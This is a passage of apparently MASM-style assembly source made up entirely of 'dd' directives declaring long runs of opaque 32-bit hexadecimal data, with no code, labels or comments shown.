3E85773Dh dd 175E85F0h, 0FC0037B1h, 93690A52h, 58F20068h, 0AFA6162Bh dd 63006532h, 7C09AC9Dh, 1599B771h, 90DA5497h, 3C86FE00h dd 8B2974ADh, 997F0E00h, 1791DD5Dh, 144D0037h, 276FF2EAh dd 40E584C0h, 0F4CF72B0h, 1D48A000h, 0D6665134h, 0F8C30262h dd 8C1AE8AEh, 52D3C4A0h, 1F036DA4h, 49B8CB21h, 5F180FC2h dd 0B877AA3h, 8059A03Dh, 9B1E371Eh, 7D00D27Fh, 71D13B07h dd 0D8EE0060h, 52ABF0CBh, 8303A270h, 78DB7EECh, 0B942A8F2h dd 0F069739Bh, 6CAD00A5h, 0DB8E1413h, 0F1E81704h, 69987700h dd 924ACF1Fh, 7DD100B2h, 0ADFD958Bh, 8907E184h, 806C5456h dd 3FDEBDE0h, 0F0573D5Bh, 97ADFA00h, 0E18131A9h, 0B9456E07h dd 0C35F1F18h, 8107EC8Ah, 38E57A1Dh, 22891EF3h, 0B38E0040h dd 0FDEF61BFh, 385AD20Fh, 4F60A025h, 0F0461AD4h, 31781502h dd 550160EEh, 3B6150A3h, 16000B2Dh, 0ECCF4DB4h, 0BB1CEDA5h dd 98B0C9BCh, 1A91E85h, 4EF97808h, 8049DC4Ch, 14943770h dd 0B204F0h, 0DB60FF5Eh, 787B98C1h, 7E84900h, 97631CEh dd 945D00BCh, 2B911B23h, 0C200521Fh, 958A4C2Eh, 3AAF7249h dd 43D8E32Ch, 70296600h, 8569B35Eh, 87EDE00h, 0EBA0AB1Bh dd 59F00055h, 0A6BFA58Ch, 507A86Fh, 25C6389Ah, 0A6EF900h dd 815D0441h, 0C74F271Dh, 0CCAD8111h, 82976095h, 0F7FD7401h dd 9BEF8853h, 0CD8730h, 86A99FE7h, 7C90468Dh, 997FF672h dd 9D940E0Eh, 6700764Dh, 0A995A1FDh, 87B03013h, 3FED8831h dd 0C2D89C00h, 8A9BC4CCh, 0CD7F3C73h, 75F50400h, 3EBC969Eh dd 0CF2FF801h, 329063FBh, 70E99FCh, 47FD060Dh, 458F6E1Fh dd 312EC500h, 330093CFh, 4DC4AE35h, 5AB8A8h, 478D87CAh dd 0AF8B44DEh, 0FD7C537Ch, 1E79FB00h, 73EA264Dh, 5CA41DE8h dd 889CC01Ah, 0AEAD3260h, 0E4DC0903h, 90BAB556h, 3F944E20h dd 8F81E2D6h, 3C249043h, 89F4D0A3h, 0C7545203h, 0B0B6974Eh dd 78694A49h, 0E879241Dh, 0F7F4001Fh, 0D79FA667h, 1FA5410Eh dd 36278076h, 6BA3BBh, 0AC69F6C7h, 8C82627Ch, 3A689A01h dd 4F5E0364h, 20255088h, 0C3F91060h, 0BBF219Ch, 17005291h dd 92DA8733h, 0CA330D2Bh, 0D1F03951h, 2F60A50Ah, 3170F08Bh dd 7908BFC0h, 0B13FC0D7h, 0D17E0D00h, 84EA1DFFh, 1A7B0054h dd 957C2B63h, 7927DC9Eh, 4DCB80A7h, 3350E925h, 83104580h dd 1B90D5B8h, 24163A03h, 0A115FE9Ah, 20802527h, 209BDAE3h dd 9800235Ch, 2B056DDh, 792AD45h, 6DCE0642h, 0F681F0E0h dd 0C31D79DBh, 0A03008BCh, 7884B43h, 341B9E99h, 90D6078Ch dd 0CFE0D9B0h, 9B5B4238h, 0A8E9434Fh, 701893h, 0A597031Bh dd 844BBEC0h, 7C64880h, 1EF8BA91h, 813651DAh, 50A0E5FDh dd 8E20BD84h, 0C18AF41Eh, 24EC1180h, 11BB2D2h, 1A3F41AAh dd 809576B3h, 3D531999h, 0C0C87E4h, 0EBBFA7FCh, 0B0A88408h dd 4000A839h, 178361A4h, 0ECAC323Dh, 0EAFB0693h, 0B080DC1Bh dd 9C2DB500h, 6D636604h, 0FFF800FDh, 613E06E2h, 0BA03841Ah dd 40D67FAAh, 4B18C8BEh, 5368001Dh, 0D338F8CBh, 0A77C02F7h dd 0EE2AD0Eh, 94E0A13Eh, 56E06222h, 0BEE50F2Bh, 660B6B9h dd 46E239Fh, 0CFF4FE7Ch, 0C53FDB01h, 5B44D6E5h, 565ECh dd 0CB01390Dh, 7A58FC9h, 520033B8h, 963C138Ah, 17553B6h dd 420AA22Fh, 0C418B3E7h, 1428E9ECh, 7600C530h, 77A1A0Ch dd 206F01h, 2372E826h, 359B3DF4h, 0B81D0A00h, 813A1956h dd 3920029h, 7B52D1FEh, 630F7C9Ah, 802BFFCCh, 626BE748h dd 0AEEC0712h, 8B0A254Eh, 0B5A8B903h, 460CA8B6h, 508CEEF2h dd 973B0080h, 551A88CEh, 1003FE1h, 5D83792Bh, 3DB7928Dh dd 2307D049h, 0D0748510h, 0C2F0E365h, 0EE4B6600h, 0BCCAEDC1h dd 1B38C040h, 4676C048h, 89E2351h, 0BB3AD69Ch, 5A3B0070h dd 8299A759h, 8FBA002Dh, 0DC8949ABh, 8D00E550h, 0FD0AD6A0h dd 3067F012h, 0E890E20Dh, 88000979h, 1DC65D3Ch, 0B0F48028h dd 0CD2729F5h, 0B5C00304h, 0D5E03BB3h, 0DD006F71h, 67C99EE5h dd 7DF75A51h, 0E11F3F0Ah, 0D9665580h, 0E9D77110h, 352880E3h dd 45A5253h, 96731CC0h, 0AD7087E1h, 60AC60DBh, 0B81F338Ch dd 0B1C053A7h, 0D4F4D79Dh, 926C006Eh, 0AED55D98h, 44E25C7Bh dd 0A0CBBA00h, 0CE9D0174h, 40AC0013h, 4E158CD0h, 490086E2h dd 1DB633BCh, 0ED204F6h, 3F03F89Ch, 4CFC5320h, 79B8A869h dd 6C5B3D00h, 0C32D6162h, 0BDAE13A9h, 0AD9F00BBh, 0A7470831h dd 84667600h, 0CEC526D9h, 1D740755h, 92E3FE4Ah, 69E0E179h dd 0A1002D39h, 0DC59B444h, 0A4C3F2h, 0CC51F321h, 0AE813FD0h dd 3C9B2D00h, 0BD907F2Bh, 35D00DAh, 0A411C499h, 0B3003118h dd 8959E01Eh, 7BF26FCh, 4F6ECB56h, 0C52A0A7h, 0AE008C03h dd 0F653D4B8h, 0B686B4h, 5F5B4382h, 879CEBE8h, 6DC2A40Dh dd 5DF01061h, 4374006Eh, 88E8BDDh, 0D30029C4h, 0A1D6F185h dd 0E43BABh, 0A70C70E1h, 7685932h, 0D0006BF6h, 48505787h dd 0CCD330h, 0DE7CA7DFh, 0D1EF160Ah, 89640E00h, 915A4096h dd 6FDF3FF4h, 7CED7780h, 0CEBE2C02h, 0FC3ED074h, 0A2DD008Dh dd 8A395513h, 0D2330091h, 67C202D3h, 260087E0h, 0ECF78B3Dh dd 717E12h, 7728673h, 27FBE6F4h, 0B6AA100h, 0DA29808h dd 3F7400A7h, 8D529FF1h, 100E71EEh, 60791E11h, 0F7903EE7h dd 31A50166h dd 425F52C7h, 8901F06Fh, 8C885D00h, 0E8B3ED27h, 0CD6000D5h dd 386829CFh, 8D0050F8h, 19BD2C34h, 319246h, 0DC56A1Eh dd 74644DADh, 0BCF63B7Ah, 3D57BF00h, 37CEC3DEh, 0BE266h dd 0EDEA01E3h, 90F6CF4h, 33048h, 0D4E6A823h, 0E45DC9h dd 642DBB12h, 0CF8CB56Eh, 0B940F000h, 782CC522h, 4BD00BD6h dd 81006FE7h, 0C6E6E13Dh, 6AA2EA00h, 0C7ACD1C2h, 0F5113D14h dd 0F3B138E0h, 0A30169AEh, 0F60B56Fh, 93F04F2Eh, 0F074DDh dd 18DAF608h, 0AEB51ED0h, 0BD3A2C00h, 4ADF2487h, 0EA410077h dd 690F7BCAh, 23267FFBh, 8A002583h, 82780A1Ch, 523000CBh dd 0E19E09FCh, 9B28E56Ch, 5F03A881h, 5EAA977Bh, 166AD967h dd 0FF43DE8h, 5DE498ACh, 0B1361361h, 0F748C40Ah, 84294C00h dd 9035C143h, 1C4B07DFh, 0F0ECE6FAh, 63FD6617h, 0CE00C4E0h dd 0ACC0725Fh, 0EC6CF22h, 0C078D56h, 0DBB41A0h, 6E01DC19h dd 0CCA3161Ch, 54CC8A91h, 0BC90EAh, 5AB1770Ah, 898CD656h dd 0DDB92500h, 0BAAE16F4h, 0C4B21D4Fh, 0F670A706h, 4CD4ED00h dd 0FA7EF484h, 2A6A000Fh, 5A21A9CBh, 4D01F25Fh, 921077CAh dd 0C5304296h, 57E070h, 3A47310Dh, 8A54BF5Ah, 0EA30B200h dd 0E2A8FCE0h, 0CFEF0042h, 27F356D0h, 7F03EB62h, 0D78FD2F1h dd 0D0A99B53h, 0F809A483h, 0A880F9E7h, 50608620h, 1B0069EFh dd 1CCF830Eh, 0F60C99CBh, 2A5A00B9h, 98E3A76Dh, 6909209Dh dd 8A601D6Ah, 0B00C749h, 408F524Ch, 0F76F413h, 0B0056854h dd 6DEF6260h, 3D00C30Ah, 1D592DB9h, 88C8ADh, 0A38A7AB8h dd 0C702521Ch, 2A5F0600h, 28B98BABh, 0F3EC1766h, 40B21CEBh dd 973A6F69h, 7017133h, 0B4E070BCh, 8C40959Dh, 8A4CD9h dd 0D49A6EA9h, 0D51A792Ah, 3EBD9400h, 9C310633h, 705E60DCh dd 0CB581F4Eh, 0FA4B7C00h, 0B88F3BA8h, 27C30005h, 40DD2A6Ch dd 41007B8Eh, 0A2F9C248h, 304286D2h, 0E2304E56h, 0F007F378h dd 9DF64ABh, 143256h, 9FD2960Eh, 0F9913F8Ch, 0DCF3C103h dd 0AA723D79h, 0FEFA402Ch, 635C0B22h, 6E00FDB4h, 0EF3F7DEDh dd 8F415139h, 3F99D818h, 0CAC43000h, 1B8B4F5h, 0B2558F79h dd 2043DA98h, 0FC004ADEh, 0E30DDD62h, 0D6FECAh, 0F4296358h dd 893BD251h, 53C30100h, 0B7972146h, 14751C3Eh, 5D5800AEh dd 8E030586h, 0F27D8100h, 855BF394h, 0BCA60007h, 77FEDD64h dd 0B900EAD1h, 0EE2BADCEh, 7B13A94Ch, 0E0F200AFh, 0BB8F1D61h dd 57006D1Ch, 6244CD42h, 533828h, 0B64FFD97h, 55067209h dd 80874900h, 9FE241ABh, 4CCC004Bh, 993188D9h, 0F678EA0Bh dd 221E9C76h, 0C70F19F3h, 9A516361h, 72DEF840h, 0AE6017B3h dd 166500CBh, 0C78C870Dh, 57905400h, 0FAF1E33Ch, 0C1E693h dd 0CAF405E6h, 56B172BEh, 0FC005878h, 6830AB1Dh, 0ABF75h dd 98CFD815h, 5C8B2F82h, 16206B00h, 69140961h, 108FC02h dd 0DB1DD26Fh, 50F7674Dh, 0FE9ECEF8h, 0D4EB5E07h, 45303BD1h dd 988F94h, 0AE09F89Ah, 6819C5D7h, 0F401067Ch, 0DA36CE0Eh dd 1DE899A2h, 0C49B0018h, 7CA01113h, 66FE5788h, 9F0E7B00h dd 0EE6935EDh, 2AB0115h, 4645445h, 7796D4CFh, 0FF830539h dd 6082BB00h, 813AD16Ch, 10BD60FFh, 0C5D510DDh, 0A1B41200h dd 0E321872Eh, 0DF530049h, 95E4CAC3h, 6091AAFh, 0C9A44Ah dd 370E6280h, 0A6F507E0h, 0ABFE402Eh, 5125A180h, 79002F7Eh dd 6E34BDA5h, 4E2ED48h, 0A3DCACADh, 4AEA83F0h, 4282B200h dd 182B53B7h, 146A007Fh, 2DC91276h, 4C003694h, 4345AE8Fh dd 0B4D3DEh, 0B951CCA9h, 0C24BFCF4h, 0D0687200h, 59B64A93h dd 9CEC26h, 23B3B71Ch, 87D97727h, 8030F039h, 0DC2F3510h dd 266A4Ch, 0FB8BAA22h, 0A464ED6Ch, 7F891400h, 1640A84Bh dd 3FBF00EAh, 31C98C05h, 0BD007B1Bh, 12B95D46h, 88697Dh dd 0B11874BFh, 8B705F37h, 721A1500h, 6F464F52h, 4EEE50h dd 8AA62DAFh, 491E9F6Bh, 7637B06h, 39E55Ah, 0F965FE38h dd 0F82066Dh, 0E8C08E00h, 2B640177h, 5E920017h, 0C79C19AAh dd 3B0112C1h, 50D02AEBh, 0A1808935h, 83A97F6Fh, 4303BE5Ah dd 32C369E1h, 0A390AFE6h, 1F3C904h, 4073AB9Dh, 0F7890248h dd 5A138CD8h, 0D1505900h, 0DA255B22h, 0C6DC12EAh, 8BC10054h dd 4763A799h, 0A69CC700h, 0E27A5B92h, 7BC303A3h, 9AF45F67h dd 35E6EB98h, 1DFDAF00h, 3AA9A00Bh, 81F61438h, 6F07ECEEh dd 60F96EEFh, 72B708F0h, 0FEB65000h, 6D091C91h, 196600DDh dd 3A29550Eh, 0F60E0CEBh, 4708B66Fh, 97108DA9h, 0A7A0C3h dd 357F4195h, 0A8ECBFBh, 5925B913h, 371BE401h, 61D0AF84h dd 3D7328F2h, 0CAA80EB3h, 14C0709Fh, 1037FF25h, 0FC108560h dd 0B3FBF6h, 0D56AA00Fh, 83C4254Dh, 0EE519EF1h, 0D82C8BC0h dd 906D9A87h, 1E600118h, 55CFA408h, 0C8822036h, 9A889013h dd 0C6DAE840h, 0C96FEh, 0F5684EF8h, 1659389h, 0E6F98F00h dd 0B2D0118Ch, 0B1A2008Dh, 0F2815D5Bh, 44034865h, 1E5C24FBh dd 4100DF45h, 3F8A3A31h, 0CBBD997h, 5647C680h, 874B93F2h dd 0AC83E828h, 9A38A400h, 4E279261h, 0AF301CA7h, 0C0CB1C67h dd 9DCA7547h, 0B1605F86h, 0AA262731h, 37500AE1h, 0AFDF06h dd 0ABC3C295h, 6FEE9624h, 41CF777h, 93417BE5h, 0C50AEEEBh dd 11CC30h, 61585D9Bh, 70DE0205h, 0EA13A0Fh, 73BC014Bh dd 6980EA7Eh, 0B1A9D9EDh, 903A9866h, 62338038h, 5C94A4B6h dd 1CD50043h, 5921C7E1h, 6A009AF0h, 2815BEF2h, 5A9233h dd 84313973h, 0C6740BD4h, 8007EB0h, 6BC9A29Ah, 7807EFh dd 9B5B5288h, 2A839CF6h, 4E907E60h, 3E1C08Bh, 0EFBB2EA9h dd 0DC05112h, 0F8006FD5h, 0A7D2B068h, 4E98D605h, 2EA80Ah dd 0CD32DFC2h, 3D44FA93h, 0DE8546AFh, 805C0823h, 47E80B95h dd 3C52090Fh, 0C8479FDFh, 95B02C62h, 5F2BC985h, 0C4B8AEh dd 2179781Fh, 3D5DF3Ah, 0EC5407F5h, 38003970h, 0A99CDAEFh dd 1831481Fh, 184B13FAh, 0B56E98A1h, 0A4AC6070h, 0A65BC1h dd 0F955BCD4h, 0AD67977Bh, 0B829882Ch, 957C833Dh, 2E05353Bh dd 3F819690h, 2151E883h, 8BC8C4A2h, 0D0073F0h, 60C9864Ah dd 7A48F55h, 684C23F7h, 735DF099h, 0FF01620Bh, 32A00218h dd 0E18029CBh, 45511FF2h, 79007B5Fh, 0E06BD525h, 8EE1CFh dd 3156A58Ah, 81C73A63h, 3069CD03h, 0F8BAD229h, 61BC41FBh dd 7C584837h, 8508F96h, 7C585427h, 81F90B6Fh, 25969AC1h dd 328CF0h, 9E34D10Ch, 45FFBDBh, 6AB2400h, 0B7289ABBh dd 8B630023h, 942B446Eh, 603A9653h, 227480C1h, 41995D1Fh dd 25EC04h, 0DEB3106Fh, 1214D22Bh, 56CD9602h, 0C0C27460h dd 0E91586h, 0BEBBAB29h, 0D0D48082h, 56D95B00h, 0E8FF6811h dd 5C60741Ch, 9D1F1250h, 30C6C744h, 249133C0h, 7C566100h dd 8955DABBh, 0FCEE03A2h, 23D35A80h, 0BD4CBEA0h, 0EB374407h dd 4560DC7Dh, 197EAACh, 618EA477h, 80795F47h, 0BDC1E648h dd 6FD66AAh, 0C06F0746h, 79047003h, 7A48855Fh, 0E2D70716h dd 800EC5B2h, 0ABAE287Dh, 3F4EA000h, 82DE2D87h, 414B035Ch dd 34EE149Bh, 0BABFC790h, 102A6500h, 9C729F05h, 7C41287Eh dd 13DD00BEh, 0E0391298h, 93289522h, 47783C42h, 0CE40B100h dd 0F5B48008h, 7FA76C7h, 37DFCD7Ah, 0EBF9B0D0h, 0C5007663h dd 2AAF4316h, 1E1A8FF1h, 0F06C3Bh, 27F2E923h, 0B50093A4h dd 0CF66840Ch, 7205306h dd 34B198A9h, 93D183FEh, 0A66E83A0h, 17F72D14h, 2441B020h dd 190086D2h, 0C86186F1h, 766457h, 5DC31567h, 0DAB093A8h dd 1174A39h, 0ACCEED3Eh, 488202B1h, 0DC555D24h, 0D4A2F700h dd 0F379ADh, 493158E7h, 50D1A941h, 63C5EF07h, 0F0C054FEh dd 0CC4D0CFh, 9855A3D2h, 770FCD08h, 40D83D64h, 10351393h dd 52390049h, 0D4857C59h, 50005F5Dh, 42A189CDh, 0AEC19E8h dd 56C27F6h, 855D00A4h, 3C58E638h, 431C3700h, 0E766190h dd 8CCA03ECh, 235444D3h, 0D0D64FA9h, 0B8A045DFh, 3907F752h dd 89B818ABh, 1491A00h, 280A5F4h, 4E0DFCE3h, 0B08C063Ch dd 0F08D949Ch, 0F3395014h, 3D3E0EACh, 3F035AEh, 807EE7CDh dd 9F158052h, 5C8779D2h, 3000D207h, 2361C0EFh, 4239DF59h dd 7C03FFDDh, 0F19EA18Ch, 276398BCh, 2420F5BAh, 80255443h dd 0B8FDE840h, 20BB52F2h, 60F88DC4h, 0F8718FECh, 18EE60C8h dd 849C6F7Fh, 0C628F071h, 2A00CCC7h, 0A4A76231h, 3F37C53h dd 8D9DD895h, 8FE89345h, 4F02DBCDh, 7DA0F2ABh, 2B40776Dh dd 11009927h, 1CCD78ADh, 0A1EDBC94h, 1FEC92CCh, 14CFB803h dd 0C2F64A50h, 8201851Dh, 48563A49h, 93000844h, 0AAAF1B20h dd 51C9EDAh, 5B6B5004h, 0CDB0052Ch, 231FEA7Ah, 44E63C40h dd 0E5F5BBh, 0AFC377CCh, 0F7651845h, 56667000h, 840E22A5h dd 0B2FCE0h, 0C6E8C02Ch, 2A9F6D35h, 0CCE65000h, 21AF1A5Dh dd 669A008Ch, 9E94632Fh, 0FF01E14Eh, 96324644h, 5C24D77Eh dd 72740030h, 0DF8D0EC1h, 4B07FF9Fh, 0AFFB6EF5h, 18298040h dd 0ECFE6EEh, 52365448h, 0FFC589h, 9E06733h, 686160ABh dd 0AFFD3003h, 0DC001C71h, 0CE1D8DEDh, 28656Fh, 3095F418h dd 255987F0h, 0CDF63600h, 0C771BD8Eh, 0D0B8C74Eh, 0A328C020h dd 3100C2DCh, 0B2DF9337h, 131D3Eh, 0C1AEA11Bh, 0FD2018BEh dd 0C24C9409h, 3CD00181h, 0B12E336Bh, 180BCA9h, 5AFED5D3h dd 0EED801A5h, 3D45F222h, 0F428B166h, 4ECE00BCh, 88BF5B3Ch dd 927F703Fh, 0DC312C03h, 0A06E82B4h, 58C0BD94h, 7A9240h dd 6F9F50ACh, 5E4ACFFCh, 0CB01047Dh, 10F103B1h, 0D4CC5871h dd 0CCEE0023h, 0AB4D944Ah, 7972CA19h, 0C3BB3E0h, 0DD410012h dd 11E2D05Ah, 85D40930h, 0D8003894h, 0ECFC0CC0h, 6C20D814h dd 0E726008Bh, 520187E8h, 7F810013h, 6EFA9450h, 3F792F59h dd 5F826700h, 0E420C5B3h, 92FF001Dh, 0C261EB6Fh, 9500634Ah dd 407D8DF3h, 4848E2DFh, 0BC032E4Bh, 492668CFh, 0C493E589h dd 0D2008BADh, 2542AF47h, 11FF28h, 85269AB3h, 9DACD075h dd 0EC6BFB03h, 0A15238F1h, 0B8F82CE1h, 6D213E92h, 8EDF1C00h dd 569F177Eh, 7B41EE0Fh, 47B420CBh, 0D55B93h, 0F4D36EBBh dd 53D191ACh, 8F0FE307h, 0D9B0F7EBh, 5E2CA2h, 0BD194B09h dd 63A1AA3Fh, 27C2DA07h, 0AEF0502Fh, 1E153B3h, 1D9E5F7Ch dd 0F889113Fh, 41000FB7h, 0F6B1A850h, 5022FCB5h, 44D803h dd 911C63Ch, 62DFA0BBh, 9400E67Bh, 8B5DE395h, 3ABE612Dh dd 0C1800776h, 2C92344Fh, 0F10073FCh, 9BE8054Ah, 0C53157h dd 0EF5ECF83h, 37BB54A8h, 76933B00h, 58CDBACh, 1378006Ch dd 0AF445C2Fh, 81F66F41h, 0FC0E8978h, 8095D94Dh, 1EB4A56h dd 1C92F2AAh, 80D5A07Dh, 43C102BAh, 88F24FECh, 570FC900h dd 900D466Dh, 3B231CFBh, 0B5B8059h, 3C8CA56Ah, 97CE8B3Ah dd 28032ACBh, 0C8B64D14h, 11A046h, 0D3C02002h, 42FDBA56h dd 1AE7731Ch, 5B6F00F9h, 3CC6F464h, 990F00F5h, 0CB3F6C32h dd 0C990BA24h, 0C122B0Eh, 9DBC2058h, 0B09A9Ch, 0B339A53Ch dd 0B6F251C7h, 0AA3BC500h, 0D8FF548Fh, 2E670197h, 0E9BE248Eh dd 8913E03Ah, 3308A516h, 0D94D0Eh, 6A72BBFBh, 0BCB00025h dd 0D2B6056Dh, 0D70FAB4Ah, 6C76DDh, 0D174EDC6h, 0FABF00D5h dd 0A36D1012h, 0F00062E2h, 68BE1B3Ch, 3A8025h, 5CD9196Bh dd 4F5B9022h, 78E5E90Fh, 3972602Ah, 4C3C15h, 0D8A05920h dd 5A7EA41h, 0E5383377h, 0CA5F00EBh, 3EDB89DFh, 0D4580223h dd 2DA21FBDh, 0FE8EF4C0h, 17566200h, 0F43AE7FDh, 78CC005Eh dd 9EEC0D6Eh, 1407A186h, 0D44DDE30h, 0B8CA1813h, 1D36FFh dd 3D525702h, 0E5773E8Dh, 0C2173115h, 0DC4600C4h, 0FF5CD64Bh dd 0AB40C04Ch, 0E2A9826Ah, 3AC05200h, 9CC74391h, 0F28C005Dh dd 39FA525h, 4700A7C5h, 8FC3ABE0h, 7C14E96h, 3A568E98h dd 8C5880C8h, 451FEE6Bh, 8BC039E2h, 9E6F2480h, 0FCA60726h dd 6053F3A3h, 8954E2C6h, 0C73A861Eh, 3D1B9240h, 7AA9D1h dd 3941697Ch, 0D4B0F6B5h, 165A1A5Ch, 0F40078F1h, 4834BBE3h dd 651D0425h, 80D8CC2Ah, 593701F5h, 0FFE4B000h, 0C97B4BF5h dd 828300BBh, 53BE181h, 0AA000C49h, 3594A9B0h, 0CE076Ch dd 1FCFFDCDh, 0E6F356DFh, 0F2937503h, 0F0065DF8h, 16DE918h dd 0B5F064F1h, 0FCEBAEC8h, 22007016h, 82B2CD8Ah, 370E18h dd 77E98F0Ch, 97951FA3h, 42CA9212h, 0F9A45B00h, 5D6964h dd 0A22CDD3Ah, 68D884BDh, 9C4F4E1Eh, 0B2C0BA80h, 1ED78E83h dd 0C0E441F2h, 66514C4Ah, 3C00BB13h, 0D6A03942h, 29ACCBh dd 8F6BEEAEh, 0D38EE31Dh, 6A2E4F00h, 66F53A4Eh, 5D0A071Ch dd 47EEA478h, 0A5AD10D5h, 0B7507919h, 0CF008EDBh, 2069885Fh dd 0A34D0h, 6A0FB0EAh, 66047BDAh, 46FEDD74h, 9AC2AE07h dd 0C00EDFBCh, 563B1FE6h, 31DF853h, 63B8B075h, 12A08D1Ch dd 19003F7Bh, 239D3D8Fh, 6979C2h, 9BEDA60Ch, 0DD596545h dd 0CECAB100h, 56CC920Eh, 0FCD4E6B2h, 7FAFE43Ch, 77F24CC5h dd 3E4B6A02h, 40DD41EBh, 0DBCB8Eh, 0D061B98Dh, 59820B24h dd 0E4C4681Fh, 48479F00h, 1B7BB85h, 0A14B5126h, 0C8D1524Eh dd 601534CDh, 824E1h, 7F7E0647h, 18840F9Dh, 4067B5D0h dd 0C500BC18h, 14F8CDC7h, 740EE131h, 50890098h, 0AEF440DCh dd 1703DA7Ch, 641F439Bh, 91E0EF11h, 0CC5399h, 0EF3E6748h dd 382F161Ch, 2197B702h, 4065AFBBh, 836B61h, 30063C25h dd 278176CBh, 603D0900h, 0C0020D0Ch, 72D20013h, 44A7EF5h dd 140016BBh, 0C9100E25h, 725ADAD5h, 2A111EE2h, 0D808C221h dd 23403D73h, 2F1CCD0Dh, 0D000B928h, 9F2C7C06h, 0B05C0EE6h dd 0F0E01256h, 8D373A6h, 8E1C1D01h, 0D7A09AFFh, 0D24067C1h dd 0F506F6h, 0A3A83ECEh, 0FC212934h, 0FE0E4417h, 36D39100h dd 2D82B07h, 1B2F5D04h, 8DE05066h, 3B3B7CA7h, 0E8F0806Dh dd 5510CD85h, 946500BBh, 79EF5AFDh, 93002F6Ch, 0CA0C6814h dd 0F08DF2h, 94E197E9h, 0A40B4ECBh, 0C5EEC20Eh, 281A00B4h dd 0E23240A9h, 0B6C30083h, 89865C43h, 2401714Ah, 46854287h dd 0DFE4F9ECh, 6D1900F7h, 0DEDDE2F6h, 0E80BD71Ch, 295A6Ch dd 3A7E7154h, 84CC0074h, 26D4ECC8h, 0B01D582Ah, 7D8F2C59h dd 0AB8360E6h, 1D5FFA23h, 0B892118Eh, 7F07B800h, 0D6F2D984h dd 0D2659F00h, 66E3F91h, 0B1811C38h, 4AA2C5EEh, 938759h dd 0B3CF67Fh, 66C43E00h, 5EBD1670h, 8C293988h, 0E5879800h dd 3097214Ch, 0BED080Fh, 0A0366E7Eh, 0DB1606BAh, 0EA059043h dd 0C53F00FCh, 7E1D01Bh, 2400F854h, 0F960BE10h, 0C65A43h dd 5106D3CEh, 7764192Dh, 9FEEDC1Ch, 33FC3500h, 0D41561h dd 16C9E03Fh, 0DA6F7B60h, 80BF9F3Ah, 0CEF4AE65h, 1DD5221h dd 0AD58E99Bh, 0C8A5BB6Bh, 0BD006726h, 352A8EFEh, 3B4643Dh dd 4EFF0A1Bh, 92D04642h dd 0AD00D9E9h, 0EFCA0B2Dh, 0EEBE690h, 0F0CC309Dh, 0EE51A380h dd 38397D11h, 0F22880C9h, 8673D768h, 3F6F0E19h, 2EA34AE2h dd 57E05006h, 0C200AA90h, 0E564FC80h, 0C421AEh, 832BC01Ch dd 0D79B18E0h, 6A073872h, 0B90404Ah, 0A888B300h, 4BC0039Fh dd 49C1F88Ch, 0ED1A0990h, 0D5193Fh, 5FC20396h, 0BFEBBEBh dd 0FA24FDCh, 7107DEDCh, 0F47099F5h, 0F8A70DF0h, 968E98B7h dd 0F9BC0216h, 637D7C7Fh, 84390082h, 6EB98748h, 0B2745A8Bh dd 0FEA5048h, 601B14B0h, 293C2CF8h, 0A3B300AAh, 9A88BB41h dd 7800440Bh, 2E85AD21h, 0F1EFFA3Bh, 45DFCh, 31742D84h dd 4B67216Ah, 7096400h, 0FB6D3036h, 8B9200FAh, 0E063EF43h dd 0B174E3A5h, 307B400h, 5750CF2Fh, 6C200E2h, 0C0DF9DB6h dd 0E43D9699h, 0C800766Ah, 1F265A0Fh, 0ECFB2Dh, 0B1469BA6h dd 68A3F833h, 1C8AB800h, 0C877180Bh, 323D00DBh, 270163ECh dd 250057B9h, 0CE9E448Ah, 7FC7E1h, 0E5DA86E7h, 0F73E43BAh dd 6C0070E4h, 0ED713ECh, 711B81Bh, 0C0CB4698h, 79340061h dd 0EB076E8Ah, 6DA5DEB7h, 0C77BC32Eh, 372298B5h, 3517405h dd 0D5E17896h, 1ED069F5h, 0D900DDF3h, 9154CFC4h, 8F045h dd 7353100Ch, 0E8F32569h, 4C466301h, 5AB0BFF7h, 0A3B5ECh dd 0ACEDD65Dh, 4341C26Bh, 2F657300h, 40C3566Ch, 333D3CEEh dd 0CA009D3Ah, 4D6EDE66h, 0EB00E9F5h, 0FD8B1684h, 3CDC0362h dd 80007BF4h, 0C15CBEE7h, 6100E942h, 83916DD2h, 3A2F31Bh dd 0A528527Bh, 23D17AA7h, 1FD970C1h, 3E817300h, 7999ABC9h dd 0B04A0050h, 0C0BD4774h, 9B0031CEh, 0A065C6DDh, 8C725Ah dd 6D7BBCBAh, 874180F3h, 0BDE2E900h, 74D5B81h, 0E5AA001Dh dd 0D72DDC47h, 6E0E958Dh, 0E010AD05h, 4C8B4BB2h, 19C000F2h dd 36FEB370h, 3A001ACFh, 29E5426Bh, 6CC5A1h, 0E31EA35Fh dd 0B660537Ah, 7FC4AB00h, 954F9A66h, 2E010032h, 0A63B68B7h dd 0B4002155h, 0E508D79Ch, 156C940h, 0A16B54CCh, 0FCAA0FCDh dd 0C773F88Ah, 6F6D7A1Ch, 4D750440h, 94CDF32h, 0A01B18D8h dd 9BAC0C80h, 0B93D5840h, 0FF61A438h, 15F82400h, 0DD20C7h dd 0E38BB69Ch, 1758B034h, 0CA06F007h, 0E700F82Dh, 3154D3h dd 9A7A8E2Ch, 0EFDAD221h, 0B5470C1Dh, 8D62B7C1h, 30BB56h dd 71F020h, 0A4BF9990h, 0F8B0FDDEh, 0A28AD100h, 6DF0F36Eh dd 76F60022h, 2CFEBF9Eh, 4007CA3Bh, 0E81C8FC6h, 841481A0h dd 747F3B0Dh, 0E4262F85h, 2CB00041h, 0E9B5D843h, 0DF026200h dd 0B85C8EE7h, 393F1EEDh, 7F758EA5h, 37DE89A0h, 54FE0536h dd 0E36EBA00h, 0BE0F6226h, 0DAF178Ah, 42270179h, 80B31478h dd 0C2BB4310h, 4D885Bh, 0F6F3F163h, 68D609D8h, 0C0D09500h dd 0FC0A35BFh, 0E580011Dh, 8505E0BEh, 87E930F4h, 47A768C0h dd 4904B1h, 224D457Fh, 0A02857F3h, 5C274100h, 0FBA26281h dd 84B000E0h, 8B37EF2Eh, 0D8007B9Ch, 189579C3h, 9A4885h dd 0E915CB86h, 0F1386806h, 0EE3EF500h, 76584E74h, 6BFA2Eh dd 0EFBD378Ah, 5DE61638h, 1D233001h, 0FEE7E06Dh, 0FBC5DC41h dd 6962C0h, 36ECA37Dh, 0B1A8BEA1h, 3933ECA8h, 622E0360h dd 12FFD0h, 13C78C8Bh, 9B788FD1h, 21025530h, 3B56ED4h dd 8B3FB26Dh, 9FA0B3CBh, 2F00F774h, 0CF96B6B9h, 1C252B19h dd 30FF315h, 3A2CA4Bh, 3CEC0580h, 0E2C180A0h, 68E6417Ch dd 4DFC1200h, 6B2F202Dh, 